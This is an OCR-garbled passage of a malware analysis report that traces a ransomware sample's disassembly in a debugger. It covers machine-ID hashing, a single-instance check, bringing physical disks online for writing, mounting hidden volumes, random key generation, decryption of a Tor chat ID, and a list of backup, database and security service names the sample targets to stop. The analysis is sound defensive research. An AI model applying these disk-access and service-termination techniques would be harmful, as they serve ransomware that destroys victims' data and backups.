Address | Hex | Asc1z | ooooooao

For each of the data obtained via the calls to the APIs (GetComputerNameW() and
GetUserNameW()) and the function responsible for retrieving the data associated with the
opened registry keys, it will perform a series of operations on them. Specifically, for each
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character, it will XOR it the value 0OXABO1FF3C, add the previous value to the next one,
rotate it left 13 bits and subtract the result of the rotate operation with the value before the
rotate. This is done so that unique IDs result from the operations, where they are later

concatenated.

= push ebp ~| Hide FPU
BBEC mov ebp,esp
e PUSE = EAX  0ODODOOF
[ Ee EBX  000000OF
B pushyess ECX  3844A02F
57 push edi edi
A D4 push 4 EDX 00000000
68 00300000 push 3000 EBF  DO13D5F4
6A 7F ush 7F ESP  0019DSE4 &L "49240cd4-81d6-46cd-al03-65Tead172ab2”
pi
6A 00 push o ESI 00000000
FF15 6C814000 €all dword ptr ds:[<&virtualAlloc=] EDI  0019EBG0 L"DESKTOP-DTA2859"
8B7D 08 mov edi,dword ptr ss:lfebp-sl] [eb
33F6 xor esi,esi . EIP 0040263F edp.0040263F
57 push edi edi
8945 FC mov dword ptr ss:[Jebp-4J,eax EFLAGS 00000206
FF15 38304000 €811 dword ptr ds:[<&1strlenw=] ZE O PE 1 AF O
8BD3 mov ebx,eax
33D2 xor edx,edx OF 0 SF O DF O
85DB test ebx,ebx CFO TFO IF1
~ 7E 19 jle edp.402658
30 nop LastError 00000000 (ERROR_SUCCESS)
OFB70OC57 movzx ecx,word ptr ds:[edi+edx*2] edi LastStatus 00000000 (STATUS_SUCCESS)
inc edx
81F1 3CFFOLAB XOF ecx,ABOLFF3C GS 002B FS D053
03F1 add esi,ecx ES 002E DS 00ZE
8BCE mov eax,esi C5 0023 S5 0028
C1Co 0D rol eax,D
gg;g E;b e ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
o I ED 31 edp. 402640 ST(1) 00000000000000000000 X87r1 EMPTY 0.000000000000000000
s push esi ST(2) 00000000000000000000 x87r2 Empty 0.000000000000000000
8B75 FC mov esi,dword ptr ss:[ebp-4] 5T(3) 00000000000000000000 x87r3 Empty 0.000000000000000000
68 BOS14000 push edp. 4081B0 108 5T(4) 00000000000000000000 x87r4 Empty 0.000000000000000000
56 push esi ST(5) 40028000000000000000 x87r5 Empty 8.000000000000000000
FF15 A4814000 €&l dword ptr ds:[<&wsprintTws] ST(6) 3FFDCOD00D000000000D X87r6é EMPTy 0.3750000000000000000
83Ca 0C add esp,c ST(7) 3FFFS000000000000000 x87r7 Empty 1.000000000000000000
BBCE mov eax,esi
SF pop edi edi v
SE bon_esi 5 Default (stdcall)
1: [esp+4] 00440000 L"windows 10 Home"
2: [esp+8] 0D019FAZ0
3: [esp+C] 01FDOOOOD
4: [esp+10] 0013FALD
. Lext:0040263F edp.exe: §263F #263F
5 EREESHTA 00420000 | L"43240cd4-81d6-46cd-a103-65Fead1l7zah2”
Woump1  @oump2  Woump3  Woumps  Woumps @ watch1  [x=lLocals 2 struct 00440000 | L"wWindows 10 Home™
Address | Hex ASCIT - DOTARAZD
77B31000|16 00 18 00(CO 8B 00 16 00 W gé;ggggg
77B31010100 00 02 00120 00 10 00)EQ w [O0402ECF|return to edp.0D40ZECF from edp.00402610
77B31020(0C 00 OE 00|DD 00 08 00|BQ w OD19EBE0| L "DESKTOP-DTAZSS 3"
77B31030(06 00 08 00|CO 00 08 00|B& w H
77B31040| 06 00 08 00|C8 00 0A 00|Z0 w ) R EdpCEnErVEainG
77B31050(1C 00 1E 00 |GC B84 00 2C 00|C4 W 5 00000000
77B31060( 08 00 0A 00|D& 00 04 00|38 . w 5 00458064
77B31070(08 00 0A 00|A4 D7 00 1A 00(50 w q S
77B31080|1C 00 1E 00(Z0 D 00 2A 00|34 w b 00453408 "\ 4E"
77B31090|34 00 36 00(0C D 00 20 00|EC w 1 EireTTe
77B310A0| 1A 00 1C 00(DQ D 00 1a 00(B4 w - ¢ e win— _ q1-1-1"
77831080 20 0O 22 00(20D 00 32 00 |:sC = . ggg;gggi L"kernelbase.d11api-ms-win-core-appcompat-11-1-1
77B310C0| 2C 00 2E 00|20 D 00 22 00|08 e W . FTTTTING
77B310D0|18 00 1A 00|EC 00 12 00 (D8 X*W. .. .BX"W AT an
< >

The result of the previous operations (unique IDs) and their concatenation is so that it will be
used as IpName (the name of the event object) passed to CreateEventW(). But first, it
checks if argc (argument count) is 1, if it's not, CreateEventW() is skipped entirely. However,
if itis 1, a loop is entered where CreateEventW() is called each time and it only breaks out of
it if the return value of the CreateEventW() API call differs from 183
(ERROR_ALREADY_EXISTS). Otherwise, the loop is repeated 32768 times, at which point
the current process is terminated via TerminateProcess() with exit code 666.
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FF15 BO304000 gall dword ptr ds:[<&GetCommandLinew:>] || Hide EPU

8D4D EO 1ea ecx,dword ptr ss:|[febp-20]
€745 EO 00000000 mov dword ptr ss:ffebp-200,0 EAX  DOL9F398 L"54FADDEE- 6FABGFDA-983A2CD7-E354BDE6-34147752"
E gﬂzp o EEX  DOL9FA20
FF15 88814000 €all dword ptr ds:[<&CommandLineToArgvis (GO L0 nR A
837D EO 01 cmp dword ptr ss:|lebp-20§,1 EDX 00000000
8945 FO mov dword ptr ss:febp-100,eax EEF  DO13FALOD
~ 75 54 jne edp.402F32 ESE  O0D1SDEFO
33F6 xor esi,esi ESI 00000000
8D85 B8FIFFFF lea eax,dword ptr ss:|[Jebp-5735] EDI O1FFO000 L"S54FADDEB"
50 push eax
6A 00 push 0 EIFP D0402F 4D edp. 00402F 4D
64 01 pusp 1
6A 00 push 0
FF15 3C304000 call dword ptr ds:[<&CreateEventw:] EELTGSF‘F 20022236
B8BFS mov edi,eax OF 0 SED DF O
FF15 44314000 €811 dword ptr ds:[<&GeTLAasTError:>]
3D B7000000 cmp eax,B7 CF O TFO IF1
~ 75 24 jne edp.402F8C
push edi LastError 00000000 (ERROR_SUCCESS)
FF15 70304000 €all dword ptr ds:[<&CloseHandles) LastsSTatus 00000000 (STATUS_SUCCESS)
81FE 00800000 omp esi, 8000
v 75 12 jne edp.402F82 G5 0028 FS 0053
68 9A020000 push 294 ES 002B DS 0028
;Els 54814000 ;:;; g:grd ptr ds: [<&GetCurrentProcess>] CS 0023 S5 0028
5@15 peELIO0D $:Z1eg:3'°"d ptr ds:[<aTerminateProcesss] ST(0) 00000000000000000000 xB7r0 Empty O.000000000000000000
S1FE E9FAQDOD cmp esi,FAED ST(1) 00000000000000000000 x87rl Empty 0.000000000000000000
- 31 edp. 402F 40 ST(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
BB35 A4814000 mov es1,dword ptr ds: [<&wsprintfws] ST(3) D0O0DDDODDOD00DD00D0D X87r3 EMPTY O0.000000000000000000
33FF xor edi,edi ST(4) 00000000000000000000 x87r4 Empty 0.000000000000000000
57 push edi ST(5) 40028000000000000000 x87r5 Empty 8.000000000000000000
8085 SB8F3FFFF lea eax,dword ptr ss:[ebp-cas] ST(6) 3FFDCO00000000000000 X87ré Empty 0.3750000000000000000
68 COB54000 push edp.4085C0 ST(7) 3FFFS000000000000000 X87r7 EMPTY 1.000000000000000000
50 puﬂ eax
FFD6 ca es1
R3ca NC add esn.c v
a B Default (stdcall)

1: [esp]

00000000
2: [esp+4] 00000001
3: [esp+8] 00000000
4: [esp+C] 00L39F398 L"54FADDBB-6FABGFDA-9B3AZCD7-E354BDB6-34147752"

dword ptr [0040809C <edp.&CreateEventws>]=<kernel3z.CreateEventus>

L Lext:00402F4D edp.exe: $2F4D #2F4D

24 pump 1 Woump2 @oump3  @Yoump4 @4 Dumps @ watch 1 [x= Locals 4 struct 00000001
Address | Hex ASCIT -~ aooD000] e - - — = "
e e21000 B IOCR SR00) GORER Z7]14 00 16 00[38 B4 — 1 = == ggigzg;g Iédg‘izﬂ?;l’rEU?E.QEEFDA 9B3AZCD7-E354BDB6-34147752
77831010 (00 00 02 00|80 Z7|0E 00 10 00|EQ S 00000000 :
77B31020(0C 00 OE 00|RQ 77|06 00 08 00|BD 00000000
77B31030(06 00 08 00|C0 [Z|06 00 08 00|BE 0045B064
77B31040(06 00 08 00|CH 08 00 DA 00|ZD 00000000
77B31050(1C 00 1E 00 2a 00 2C 00|C4 004534C8 | "\\4E"
77831075 08 00 0a 00|24 DY T Booisoas
42 00 JA 00 - s S i e _ _11-1-1"
T |2 oo 08 00|ad R AR | gggggégi L"kernelbase. d11api-ms-win-core-appcompat-11-1-1
77B31090| 34 00 36 00 1E 00 20 00|EC D 00000016
F7B310A0| 1A 00 1C 00 |ROQ |48 00 JA 00(B4 D 0045AE40
77B310BO| 20 00 22 00|20 30 00 32 00 D 00000046
77B310C0| 2C 00 2E 00 20 00 22 00|08 D 0019D7AS8
77831000 |18 00 1A 00|EC 77|10 00 12 00|p8D . e ARTaNERE
r3 >

Then, it will enter another loop, executed 17 times, where it tries to open
\\.\PHYSICALDRIVE%d (a physical hard drive) via CreateFileW(), where %d is incremented
for each iteration in the loop, starting from 0. If the return value from CreateFileW() differs
from OxFFFFFFFF, it will then call DeviceloControl() on the handle with control code
IOCTL_DISK_SET_DISK_ATTRIBUTES, attempting to bring the disk online and allowing
write operations (Attributes field in SET_DISK_ATTRIBUTES struct is set to 0, and
AttributesMask field set to 0x3). It will also call DeviceloControl() again, this time with control
code IOCTL_DISK_UPDATE_PROPERTIES, invalidating the cached partition table and
synchronizing the system view of the specified disk device, since at this point it would have
been modified.
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e [00402F54 57 ush edi :
|| 00402F 95 8DB5 58F3FFFF lea eax,dword ptr ss:[ebp-cas] | fHide FPU
| 00402F 9B 68 COB54000 push edp. 4085C0 40B5C0: L™\ \\ '\ W \PHYSICALDRIVESd" EAX  DO19EDES
|| o0402FAD 50 push eax 5 GOesem
FFDS call esi sex A6CA2083
00402FA3 83C. add esp,C
o[ 00302FA6 suss saFaFFFF lea eax,dword ptr ss:[febp-casi EDX 00000000
# (| 00a02FAC push 0 EBP  0019FA10
® || 00402FAE m 01 push 1 ESP DOL305F4 _
¢ || 00402FBO 6A 03 push 3 ES1 7SABDFBO <user32.wsprintfu>
| 00402FB2 64 00 push 0 EDI 00000000
|| 00402FB4 64 07 push 7
00402FB6 68 0000D0OCO push €0000000 EIP  DO402FAL edp.00402FAL
00402FBB 50 push eax
e | 00402FBC FF15 C4804000 e dword prr ds:[<&Createrilews] SELAGS 00000246
e | o0402FC2 8BFO mov esi,eax A EE R AR
e | o0402FC4 83FE FF cmp esi,FFFFFFFF ES S bED
00402FCT| v 74 TF je edp.403048
o[ 00402FCa 6A 00 push 0 & e IF
00402FCB BD45 CO lea eax,dword ptr ss:|[[ebp-40]
00402FCE C745 CO 00000000 |mov dword ptr s=:[ebp-40f,0 LastError 00000000 (ERROR_SUCCESS)
& || 00402FDS 50 push eax LastStatus 00000000 (STATUS_SUCCESS)
e | o0402FD6 64 00 push o
e | o0402FD8 64 00 push © GS 0028 FS 0053
e | o0402FDA 6A 28 ush 28 ES 002E DS 002B
e | oo4nzFDC 8D85 Z0FFFFEF lea eax,dword ptr ss:[ebp-0od Cs 0023 55 0028
o || 00402FEZ 0F57CO XOrps xmmd, xmmo
J0dazEES A s SE?E S ST{0) 0000D00DODOOOO0DDD0D XB7r0 Empty O.000000000000000000
o || o0402FER OF2985 20FFFFFF |movaps xmmword ptr ss:[Jebp-DOJ, xmm0 ST(1) 00000000000000000000 x87rl Empty 0.000000000000000000
S IlEa5a7res OF2985 4OFFFFFF |movaps xmmword ptr =<:[ebp-coll,xmmo ST(2) 000000O0O00000000000 X87r2 Empty 0.000000000000000000
o | 00402EF3 56 push esi ST(3) 000000000000000D0000 X87r3 EMpTy 0.000000000000000000
o | 00402FFA 66:0FD685 SOFFFFEE movy qword prr ”.[Ehp aoll, ,(,,.,,,,D ST(4) 0D00D00D0O0O0D0DD0N000D X87r4 Empty 0.000000000000000000
e || 00403002 C785 30FFFFFF 28(mov_dword ptr ss:[ebp-Doj ' ST(5) 40028000000000000000 X87rs Empty 8.000000000000000000
0040300C 66:0F1385 38FFFFE movipd qword ptr ss:lfebp- ,xmmo ST(6) 3FFDCOO0000000000000 x87r6 Empty 0.3750000000000000000
00403014 C785 40FFFFFF 03(mov gwurg ptr ss:Eegp-co} 3 ST(7) 3FFFB000000000000000 X87r7 EMpTy 1.000000000000000000
|| 0040301E C785 44FFFFFF 00{mov dword ptr ss:[lebp-8C,0
s || 00403028 FF15 1C814000 €&l dword ptr ds: [<eDeviceIoContrals] x87Tagword FEFF
= [IoansnzE (5 69 push X87TW_0 3 (Empty) x87Tw_1 3 (Empty)
: ;}gqs co 1sgheg;;dwnrd ptr ss:[febp-40] X87TW_2 3 (Empty) X87TW_3 3 (Empty)
. 6A 00 gush o X87TW_4 3 (Empty) X87TW_5 3 (Empty)
A 00 push © X87TW_6 3 (Empty) X87TW_7 3 (Empty)
6A 00 push 0
o[ 00403 0 &A 00 push o x87Statusword 0100
o [ 0020303 68 40010700 push 70140 X87SW_B 0 X87SW_C3 0 X87SW_C2 O
s || 00403041 56 push esi X87SW_C1 0 xB7SW_CO 1 x87SW_ES O
e || 00403042 FF15 1C814000 €a811 dword ptr ds:[<&DeviceloControl>] XB87SW_SF 0 XB7SW_P 0 XB7SW_U s
00403048 56 push esi XR7SW O 0 xRATSW 7 0__%R7SW N n
00403049 FF15 70804000 €81l dword ptr ds:[<&CloseHandlex] Default (stdeall)
0040304F BE35 A4814000 mov esi,dword ptr ds:[<&wsprintiw:] el
| 00403055 47 inc edi 1: [esp] OODL9ED&S
e || 00403056 83FF 10 p edi, 2: [esp+4] 004085CO L"\\\\.\\PHYSICALDRIVESd™
e || 00403053| ~ OFBC 35FFFFFF i1 edp. 402F94 v | 3: [esp+8] 0000000DO
. 4: [esp+C] 00404DBC <edp.EntryPoint>
< >
F 68
Woumpt  @hoump2  @4oump3  @4oump4  @Wpumps @ watch1  Ix=llocals g Struct D015905F6 | 004085C0 ‘ L™\ W\ \\PHYSICALDR IVESd"™

For every existing volume without an associated drive letter, it will then attempt to associate it
an unused drive letter. This is done by scanning and iterating through existing volumes on
the system by making use of the FindFirstVolumeA()/FindNextVolumeA() combination and
determining whether a drive letter is already associated with the volume via
GetVolumePathNamesForVolumeNameA(). If no drive letter has been associated with the
volume, it will then obtain available drive letters via a call to GetLogicalDrives(), where the
first unset bit from the returned bitmask (starting from the 4th) can be used.

E— FF15 ECE04000 €all dword pir ds:[<&Findrirstvolumens] ~ [ wide £Pu
& [00403 c) 8835 FC804000 mov esi,dword ptr ds:[<&GetVolumePathNam
. 3 8BFS8 mov edi,eax
. 8D45 AC lea eax,dword ptr ss:|[[ebp-54] Eax a019Fscs
S 2 EBX  0019FAZ20
00403083 50 push eax ECX 77DE1CEC
00403084 68 00010000 push 100
¢ || 004030389 8D85 38FAFFFF lea eax,dword ptr ss:[ebp-5Ca EE: EXLEredy
» || 0010308F 50 push eax EP  CIEEEED
|| 00403090 8D85 BBFEBFFFF Tea eax,dword ptr ss:[ebp-445] ESE  001905F8 .
*|| 00403096 50 push eax ESI 75ASDFBO <user3z.wsprintfw>
|| 00403097 FFD& €am esi EDI 00000010
| 00403099 8D8D 38FAFFFF lea ecx,dword ptr ss:[[ebp-scs]
0040309F 8D51 01 lea edx,dword ptr ds:[ecx+1] EIP 00403072 edp. 00403072
e (| 00403042 BADL mov al,byte ptr ds:[ecx]
s || 00403044 41 inc ecx
e | 00403045 84C0 test al,al sELqGSPF 2002'2235
e || 04 ~ 75 F9 jne edp.4030a2 ES T e
e (| 00403049 2BCA sub ecx,edx
00403048| ~ 75 5C jne edp.403109 CFO0 TFO IF1
0040304AD FFlS 34814000 €all dword ptr ds:[<&GetLogicalDrives>]
00403083 mov edx,eax LastError 00000002 (ERROR_FILE_NOT_FOUND)
00403085 33FA 04 amp edx, 4 LastStatus CO000034 (STATUS_OBIECT_NAME_NOT_FOUND)
004030B8[ ~ 73 04 jas edp.4030BE
00403084, 32c9 xor c1,cl G5 0028 FS 0053
004030BC[ ~ EB 1A edp. 403008 ES 002E p§ 002E
004030BE BE 04000000 4 €S 0022 55 0028
004030C3 Bl 43 43:°C*
E:gjgjggi . ?:DSF ST(0) 00000000000000000000 X87r0 EMpTy O.000000000000000000
H St - 1 ST(1) 00000000000000000000 X87r1 Empty O.000000000000000000
H E;g}g;gg{, g;égso 00000000 ggg ggirgagtr (=l ea ST(2) 00D0D000D000000000000 X87r2 EMPTY O.000000000000000000
i 00403002 FEC1 inc c1 | ST(3) 00000000000000000000 xB87r3 Empty 0.000000000000000000
| 00403004 85C2 test edx,eax ST(4) 00000000000000000000 xB87r4 Empty O.000000000000000000
: 00403006 75 F8 jne edp.403000 ST(5) 40028000000000000000 x87r5 Empty 8.000000000000000000
L——e| 00403008 8D85 BBFBFFFF Tea eax,dword ptr ss:[ebp-445] ST(6) 3FFDCO00000000000000 xB7r6 Empty 0.375000000000000000C
|| 0040300E 884D BC movhbyte ptr ss:lebp-4al,c1 ST(7) 3FFFE000000000000000 XB7r7 Empty 1.000000000000000000
|| 004030E1 50 push eax
#|[ 00D4030E2 B8D45 BC lea eax, dwnrd ptr ss:[febp-44] x87Tagword FFFF
| 004030ES 50 push ea X87TW.0 3 (EmPL X87TW_1 3 (EMpT
|| 004030E6 FF15 F8804000 &1 dword ptr ds:[<&SetvolumeMountPoint = (EmpTY) o (EmpTy)
004030EC 85C0 Test eax,eax X87TW_2 3 (Empry)  Xx87TW_3 3 (EmpTy)
004030EE 74 19 je edp. 403109 x87TW_4 3 (Empty) x87TW.S 3 (Empty)
004030F0 8D45 AC lea eax,dword ptr ssiflebp-s4] XB7TW_E 3 (Empty)  x87TW_7 3 (Empty)
004030F3 50 push eax
004030F 4 68 00010000 push 100 x875tatusword 0100
004030F9 8D85 38FAFFFF lea eax,dword ptr ss:[[ebp-scs] X87SW_B 0 x875W.C3 0 XB7SW C2 O
004030FF 50 push eax XB7SW_C1 0 xB7SW_CO 1 XB7TSW_ES 0O
00403100 8D85 BBFBFFFF lea eax,dword ptr ssillebp-44:]) XB7SW_SF 0 xB7SW_P 0 xB7SkW_U o
00403106 50 push eax X87SW_0 O X87SW_Z O XB7SWD O
00403107 FFD6 call esi X87SW_I 0 XS7SW_TOP O (STO=X87r0)
F- 00403109 68 00010000 push 10
¢ || 0040310E 8D85 20ETFFFF lea eax, dwurd ptr ss:lebp-18£0l
|| 00403114 50 push eax Default (stdcall)
e 2 Bk T
N esp+
. 8D85 T4FFFFFF 'Iea. eax,dword ptr ss:[[ebp-aC] 3: [esp+8] 0D0404DBC <edp.EntryPoint>

At this point, the same routine will be called twice, one after the other, with different

arguments.

19/52



s|[0040315E 6A 2B push 28

e/ 00402150 68 10A34000 push edp.40A210
E TP gy £ E8 130930000 call edp. 403480

e/ 00403167 6A 20 push 20

e/ 00403169 68 38434000 push edp.40A338

e 0040316E EE 0DO20000 call edp. 403480

This routine is responsible for generating, via CryptGenRandom(), cryptographically random
bytes of length specified as second argument to the routine, storing it at the address
specified in the first argument. These random bytes are subsequently modified by a relatively
long series of operations.

. FF15 2C804000 Call dword ptr ds: [<&CrYPTACOUIreConTexth=]
. BB7D 08 mov edi,dword ptr ss:|[Jebp+s])
. BBFS 0OC mov esi,dword ptr ss:[febp+C])
. 57 push edi
. 56 push esi
. FF?75 FC push dword ptr ss:|[[ebp-4]
. FF15 00804000 €all dword ptr ds:[<&CryptGenRandoms>]
. [ push 0
. FF75 FC push dword ptr ss:[[ebp-40
. FF15 04804000 €all dword ptr ds:[<&CryptReleaseContext:]
. BSFGE test esi,esi
v TE 6C jle edp.40382C
8085 E4FEFFFF lea eax,dword ptr ss:[Jebp-1iC[]
. ELY 4 push eax
®| 00a03AC7 E& 24400000 call edp. 307AFD
®|( D0303ACC 64 40 push 40
& (| 00403ACE 8085 E4FEFFFF lea eax,dword ptr ss:|[febp-11C]]
& | 004034D4 68 FBE64000 push edp.40B6F3
®|( 004034D9 50 push eax
®|( 00203ADA E8 C1400000 call edp. 407BAD
® | 00403ADF 56 push esi
#|( 00203AED BD85 E4FEFFFF lea eax,dword ptr ss:[Jebp-11C[]
®|[ DD403AEG 57 push edi
® (| 00403AE7 50 push eax
@ | DDAD3AES E8 B3400000 call edp.407BAD
®|( 00403AED B83C4 1C add esp,1C
® (| 00403AF0 8D85 E4FEFFFF lea eax,dword ptr ss:|[febp-11C]]
@ | DD403AFE 50 push eax
¢ | 00303AF7 B3FE 40 cmp esi, 40 40:
r----@ |l 00403AFA ~ FE 1% jle edp. 403815
i ®|( D0303AFC 57 push edi
B & |( DD403AFD E8 DE3CO0000 call edp.4077ED
1 ®|( 00203802 B3EE 40 sub esi,40
g ®|( 00403805 B3C4 08 add esp,8
! & | 00403B08 B2C7 40 add edi, 40
1 & | 0D403BOB B5F6 test esi,esi
f e[ 0040 ~ 7F B1 jg edp.403AC0O
f & 0040 SF pop edi
i & 00403 SE pop esi
i o 0040 8BES mov esp,ebp
: & 0040 S0 pop ebp
1 0040 c3 ret
L 00403 BD45 BC lea eax,dword ptr ss:|[Jebp-44]
00403 50 push eax
0040 E8 C23C0000 call edp.4077ED
0040 44 push esi
0040 8045 BC Tea eax,dword ptr ss:[[ebp-44]
0040 50 push eax
0040 57 push edi
0040 E8 B7410000 call edp.407CED
B3C4 14 add esp,14
€
Y Dump 1 Y44 Dump 2 4 Dump 3 ¥4 Dump 4 ¥4 Dump 5 & watch 1 [*=] Locals 4 struct
Hex ASCII NE
0040A210|53 94 DE 37 [4C 50 29 4250 16 C1 A2([55 F2 2D 2B|5.P7LPIEP.AcUo-+ c
0040A320| 3C DE 87 94 |B9 5C 2C BA|98 6E E4 46|77 23 22 C3|«<b.. ‘\,2.HHFW"A c
0040A330| 21 7F BE D8 |BD 3C BE AB|LF ZF 0B 53|35 DO 16 5E|!.,@%<. -/.55B,A C
0040A340|F3 F4 F4 12|60 11 B9 F8|86 26 BA A5|19 22 36 A5|000.1.'0.&°%¥."6¥ c
0D40A350(B5 2A 95 AD|8C AS EC 20|00 00 00 00|00 00 00 0D|p*... d-........

00190 4B4
JD13D4B8
J01904BC
J019D4CD
J01304C4
J01904CE
J01904CC
NI an ann

Hide FPU

EAX 00130544

EEX  OO0L9FAZO

ECX  E30FB23C

EDX  9429140B

EBP  00L19D5ES

ESP  001304B0

ESI 00000020 v

EDI  0040A338 edp. 00404338
EIP 00403829 edp. 00403823
EFLAGS 00000344

ZE1 BPE1 AE O

QE 0 SE O DF O
CEO0 TF1 IF 1

LastError 00000000 (ERROR_SUCCESS)
Laststatus CO00007C (STATUS_NO_TOKEN)

G5 00ZB FS 0053

ES 002B D5 002B

C5 0023 55 002B

5T({0) 00000000000000000000 X87r0 Empty O0.000000000000000000
ST(1) 00000000000000000000 X87F1 EMPTY 0.000000000000000000
5T(2) 00000000000000000000 XB7r2 Empty 0.000000000000000000
5T(3) 00000000000000000000 x87r3 Empty 0.000000000000000000
5T(4) 00000000000000000000 x87r4 Empty 0.000000000000000000
ST(5] 40028000000000000000 x87r5 Empty 8.000000000000000000
ST(6) 3IFFDCOOOOO0000000000 XB7ré Empty 0.3750000000000000000
ST(7) 3IFFFS000000000000000 x87r7 Empty 1.000000000000000000
¥87Tagword FFFF

XB7TW_0 3 (Empty) XB87TW_1 3 (Empty)

X87TW_2 3 (Empty) X87TW_3 3 (Empty)

HB7TW_4 3 (Empty) HB7TW_5 3 (Empty)

HB7TW_6 3 (Empty) HB7TW_7 3 (Empty)

¥875tatusword 0100
NB7SW_B 0 xB7SwW . C3 0O

Default (stdcall)

XBFSW_C2 O

1: [esp+4] 0019D5A4
2: [esp+8] 00000020
3: [esp+C] 00L1905A4
4: [esp+10] 0019D4CC

0040A2328 | edp. 0040A338

0013D5A4
00000020
0019D5A4
0013D4CC
007CA31SE
77D2CB70
3EDOL16SE
TEPENRG 2

kernel32.77D2C870

Another routine will be called, this time called thrice. One of the arguments to the function
that is always passed is a pointer to a suspiciously looking string.

004021E9
004031BE
004021C0

68 &BEG&4000
6A 40
&8 00BO4000

Ei—« |[EGE 6A 40
&| 004032175 &2 4BB04000
&) 00D40317A 64 40
®| 0040317C &8 00BO4000D
&) 00403181 ES8 4AF1FFFF
®| 00403186 8B35 398314000
®| 00403 18C 83C4 20
®| 0040318F 8345 C4
&| 00403192 88 S 4BZ4000
®| 00403137 FFD&

&| 00403199 50

®| 00403134 68 GOBZ 4000
&| 0D040319F aA 40

®| 004031A1 &8 00BO4000
& 00403 1A6 E8 25F1FFFF
®| 00403 1AB 83C4 10

& | 00403 1AE 8945 F4

®| 004031B1 &8 GOB&4000D
&| 0040321B6 FFD&

®| 004031B8 50

L]

L]

L]

L]

004031C5

E8 0OGF1FFFF

push 40

push edp.40B048

push 40

push edp.40B000

call edp.4022D0

mov esi,dword ptr ds:[<&StrToIntA=]
add esp,z20

mov dword ptr ss:|[Bebp-3C],eax
push edp.40B254
2l es1

push eax

push edp.40B260
push 40

push edp.40B000
call edp.4022D0
add esp,10

mov dword ptr ss:
push edp.40B660
Eall esi

push eax

push edp.40BE&6S
push 40

push edp.40B000
call edp.4022D0

Bebp-Clll, eax

40B0O00: "S[IN" | " X1uoq[1e-0sbv<<0XrT:

40825 4: " 96w

40B000: "$[IN" | "XTuoq[1e-0sbve<0XrT:

40B0O0O0: "$[IN" | "X1uoq[1e-0sbv<<0XrT:
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It turns out that this function is responsible for decrypting several data stored in the binary's
.keys section. The first time the routine is called, it decrypts the Tor client chat ID used to
communicate with the perpetrators.

®| 0D04022F6 6666: OFLF8400 00 nop word ptr ds:[eax+eax],ax
& | 00402200 BBCE mov eax,esi
®| 00402302 BASC35 OOFFFFFF |mov bl,byte ptr ss:|[ebpresi-100]
& | 00402209 3302 xor edx,edx
®| 00402308 OFBECE movz X ecx,bl
& | 0040230E F7F75 OC div dword ptr ss:[[ebp+C]]
#| 00402311 BB45 08 mov eax,dword ptr ss:[lebp+sl [ebp+8]:"$[IN" | "XTu
& 00402314 OFBE&0402 movzx eax,byte ptr ds:[edx+eax]
& 00402318 03C7 add eax,edi
& 00402314 03CE add ecx,eax
& 0D40231C OFBGF9 movzx edi,cl
®| 0040231F BAB43D OOFFFFFF |mowv al,byte ptr ss:|[ebp+redi-100]
®( 00402326 888435 0QOFFFFFF |mov byte ptr ss:[Qebpt+esi-1000,al
®| 0040232D 46 inc esi
@ 0D40232E 889C3D OOFFFFFF |mov byte ptr ss:[Qebp+edi-1000,b1
& 00402335 81FE COO010000 cmp esi,100
& 00402338 ~ T2 C3 jb edp. 402300
®| 0040233D BB7S 14 mov esi,dword ptr ss:|[[ebp+14]
®( 0D402340 33DB xor ebx,ebx
& 00402342 33C0 Xor eax,eax
& 004023244 BLSFE test esi,esi
|———* 00402346 « 74 59 je edp.4023A1
I ®| 00402348 BB7D 10 mov edi,dword ptr ss:|[ebp+10] [ebp+10] : "ebECAZB2A
i ®| 00402348 OF1F 4400 00 nop dword ptr ds:[eax+eax],eax
& 00402350 40 TAC 2ax
I ®| 00402351 BD7F 01 lea edi,dword ptr ds:[edi+1]
| & 00402354 OFBE&DO movzx edx,al
| ®| 00402357 5955 14 mov dword ptr ss:[[ebp+14],edx
| & 00402354 BABC15 OOFFFFFF |mov cl,byte ptr ss:|[ebpredx-100]
| ®| 00402361 OFBG&CL MOVZX eax,cl
| ®| 00402364 03C3 add eax,ebx
] ®| 00402366 OFBEDS MoVZX_ebx,al
I ®| 00402369 BAB41D0 OOFFFFFF |mowv al,byte ptr ss:|[ebp+rebx-100]
l & 0D402370 888415 0OOFFFFFF |mov byte ptr ss:[Qebpt+edx-1007,al
I ®| 00402377 EB45 14 mov eax,dword ptr ss:|[[ebp+14]
I & 00402374 OFBGD1 movZx edx,cl
®| 0040237D B838C1D OOFFFFFF |mov byte ptr ss:[[ebp+ebx-100],cl
I @ 00402384 OFBEBCOS OOFFFFFEmovZx ecx,byvte ptr ss:|lebp+eax-1004
| e | oo402z8C 03D1 add edx,ecx
| @ 0D40238BE OFBG&CA mMoVZX ecx,dl
| ®| 00402391 OFBEBCOD OOFFFFFE movzx ecx,byte ptr ss:[[ebp+ecx-100]
| ®( 0D402399 304F FF xor byte ptr ds:[edi-1],cl
| & 0040239C B3EE 01 sub esi,1
& 0040239F ~ F5 AF jne edp.402350
Eﬁ———)‘- \ 8B45 10 mov eax,dword ptr ss:[ehp+10] [ebp+10]: "6bECAZbZA
& | 0040234 SF pop edi
®| 004023A5 SE pop esi
& 00402346 LB pop ebx
®| 004023A7 BBES mov esp,ebp
& 004022A9 D pop ebp
& | 00402344 Cc3 Fet
=== pug el
£ >
Py Dump 1 @YY Dump 2 Poump3 B Dump4 B Dump 5 & watch 1 [x=] Locals o Struct
Address | Hex ASCII
00408048 |36 62 45 43|41 32 62 32(41 46 46 66|42 43 31 44| BhECAZbZAFFTBCID
0040BO5SB| 66 66 30 61|61 30 45 61|61 41 64 34|36 38 62 65| ffoaadEaaAd468be
0040B068 | 63 30 32 30|33 62 35 65(34 45 61 35|38 65 63 64| c0303b5e4Eassecd
0040BO7B| 65 33 43 32|36 34 62 43|35 35 63 37|33 38 39 45| e3C264bCS5C7389E

The second time it is called, it is used to decrypt a series of strings, which will later be used
as reference for substrings to look for in order to determine what services to stop, as we will

see. The strings are:

* VSS
e sql

¢ memtas
e mepocs
¢ sophos
e veeam
e backup

21/52



e pulseway
e logme

¢ logmein
e connectwise
¢ splashtop
e mysql

o Dfs

0D40BZF0D

@ 004022F2 33FF xor edi,edi
®| 004022F4 33F6 xor esi,esi
®| 0D4022F6 6666: 0F1F8400 00 nop word ptr ds:[eax+eax],ax
®| 00402300 BBCE mov eax,esi
| 00402302 8A9C35 0OOFFFFFF |mov bl,byte ptr ss:[lebptesi-100]
®| 00402309 33D2 xor edx,edx
®| 00402308 OFB&CE movzx ecx,bl
®| 0040230E F775 0OC div dword ptr ss:|[Jebp+C] .
